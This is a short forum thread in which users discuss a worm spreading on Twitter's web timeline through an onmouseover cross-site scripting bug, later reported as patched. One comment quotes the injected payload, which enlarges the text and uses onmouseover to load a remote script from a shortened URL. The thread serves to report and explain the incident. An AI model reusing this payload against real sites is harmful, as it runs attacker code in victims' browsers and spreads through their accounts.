I just noticed a Twitter virus

[icodemyownshit]

It spreads when someone hovers over the text on their web-based timeline. It does not appear to spread in search results or individual tweet page.

e.g. http://twitter.com/ibackupyourshit/status/25112187461

[seanieb]

This one links to an external script: hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22

It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.

[EGreg]

I don't know, these links don't work for me, even with xx replaced with tt.

Nothing is happening. I created an isolated twitter account to try it, and nothing.

[theDoug]

It's been all over the internet this morning. It's a bug where twitter is allowing onmouseover.

[theDoug]

People would be wise to avoid Twitter.com today. Clients should be okay.

[FSecurePal]

Twitter says exploit patched. They're still trickling through.